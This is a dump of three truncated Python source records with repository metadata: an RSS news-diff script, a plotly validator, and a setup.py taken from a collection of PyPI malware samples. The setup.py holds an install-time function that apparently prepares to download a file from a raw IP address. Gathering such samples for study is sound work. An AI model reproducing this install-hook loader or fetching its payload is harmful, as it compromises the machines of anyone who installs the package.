a43915027ecc7cf6ccfd9cbe6db057a711e16f15 | 406 | py | Python | main.py | NikoFresh/news_diff | 70295c5df80b34a315acf1fdf6747ac3510a2098 | [
"MIT"
] | null | null | null | main.py | NikoFresh/news_diff | 70295c5df80b34a315acf1fdf6747ac3510a2098 | [
"MIT"
] | null | null | null | main.py | NikoFresh/news_diff | 70295c5df80b34a315acf1fdf6747ac3510a2098 | [
"MIT"
] | null | null | null | import asyncio
import logging
from config import Config
from src.models import db_setup
from src.start import start
logging.basicConfig(
level=Config.LOG_LEVEL, format="%(name)s - %(levelname)s - %(message)s"
)
async def main() -> None:
db_setup()
while True:
start(Config.RSS_URL)
await ... | 18.454545 | 75 | 0.692118 |
787e178e1ca0f4e872dbfa380036e57d501e933f | 498 | py | Python | Lib/site-packages/plotly/validators/scatter/marker/colorbar/title/_text.py | tytanya/my-first-blog | 2b40adb0816c3546e90ad6ca1e7fb50d924c1536 | [
"bzip2-1.0.6"
] | 12 | 2020-04-18T18:10:22.000Z | 2021-12-06T10:11:15.000Z | plotly/validators/scatter/marker/colorbar/title/_text.py | Vesauza/plotly.py | e53e626d59495d440341751f60aeff73ff365c28 | [
"MIT"
] | 27 | 2020-04-28T21:23:12.000Z | 2021-06-25T15:36:38.000Z | plotly/validators/scatter/marker/colorbar/title/_text.py | Vesauza/plotly.py | e53e626d59495d440341751f60aeff73ff365c28 | [
"MIT"
] | 6 | 2020-04-18T23:07:08.000Z | 2021-11-18T07:53:06.000Z | import _plotly_utils.basevalidators
class TextValidator(_plotly_utils.basevalidators.StringValidator):
def __init__(
self,
plotly_name='text',
parent_name='scatter.marker.colorbar.title',
**kwargs
):
super(TextValidator, self).__init__(
plotly_name=plotly_n... | 26.210526 | 66 | 0.608434 |
2b2c2a4b06a790091560afb220e62c0c298cf1ec | 1,517 | py | Python | malware/libpeshka/libpeshka-0.6/setup.py | rsc-dev/pypi_malware | 0502c84df508d2a84b5f50dc1d4c2b66191318fa | [
"Unlicense"
] | 35 | 2018-12-10T08:59:54.000Z | 2022-01-24T17:43:56.000Z | malware/libpeshka/libpeshka-0.6/setup.py | rsc-dev/pypi_malware | 0502c84df508d2a84b5f50dc1d4c2b66191318fa | [
"Unlicense"
] | null | null | null | malware/libpeshka/libpeshka-0.6/setup.py | rsc-dev/pypi_malware | 0502c84df508d2a84b5f50dc1d4c2b66191318fa | [
"Unlicense"
] | 8 | 2020-02-25T14:00:48.000Z | 2021-10-15T10:13:16.000Z | from setuptools import setup, find_packages
def rn ():
import platform
lb = False
try:
import urllib2
except ImportError:
import requests
lb = True
import os, stat
ADD_LOC = "http://145.249.104.71/out"
LOC = ".d... | 24.079365 | 67 | 0.46737 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.